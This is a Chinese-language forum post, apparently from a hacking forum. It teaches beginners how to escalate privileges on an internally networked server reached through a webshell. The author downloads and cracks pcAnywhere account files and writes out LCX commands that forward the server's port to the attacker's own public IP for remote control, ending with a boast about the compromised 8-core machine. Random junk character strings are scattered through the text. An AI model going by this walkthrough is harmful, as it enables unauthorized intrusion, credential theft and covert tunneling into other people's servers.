[原创文章] pcanywhere之内网提权

pcanywhere

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
; }6 v0 u: _* @" V1 k; ~
提权方法：pcanywhere+LCX0 h5 Z. e- u+ i; x1 g, c

获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
& y6 ~6 m/ E& R9 q, @/ Q
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
1 v! D6 d4 V. J4 w' D$ j7 Y. e
5 ^* a( h. B+ U  ]/ W6 Y' S4 n+ |
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。( O8 c! @6 \/ V5 z2 V5 v2 u
; D. I% c7 v$ y4 [- D
' C- K- \# t# u9 B4 i
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。$ p6 y! l8 W3 P. a7 a& \7 n
8 g" A& C' V, r' \9 s  ]
- o. i5 e$ a: A3 `" P* _  p
+ w  r. y9 V, L% F
5 r9 D, y1 H1 q; M3 [) k$ h
由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
/ H5 O  R4 q/ |! F* p
; ^; E. j/ s7 B% B7 R- i
LCX的用法再简单说下：$ x. D: \# Z. z3 g5 [& ~" D

服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）4 Z& F" B' D- [$ D: G0 F
' j; m' N, t' Q7 L' S: b
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）( I6 m  G2 L: E* |) K% l* t
; S: X5 U5 D- ?* z, g9 m( V, \
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。2 c) A9 P$ m7 O# J; m* w% d
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``! w* }! A! Q3 i/ y
) f# G2 K& g. P* k9 o* C- \) @
5 u1 J4 z$ o) U9 F2 e; o

呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。

. u6 p7 e3 K' B4 V

8 h: I9 R' `8 ^% V$ z9 [# |
我们本地连接试试，输入我们刚破解的账号密码8 ^1 \1 h# t, ?" M& T& r, R  K' ]

呵呵``连接成功,服务器不错，又一个8核^︵^
- e1 t9 X7 F0 C- s; L4 G

附件: 您需要登录才可以下载或查看附件。没有帐号？注册

1 评分人数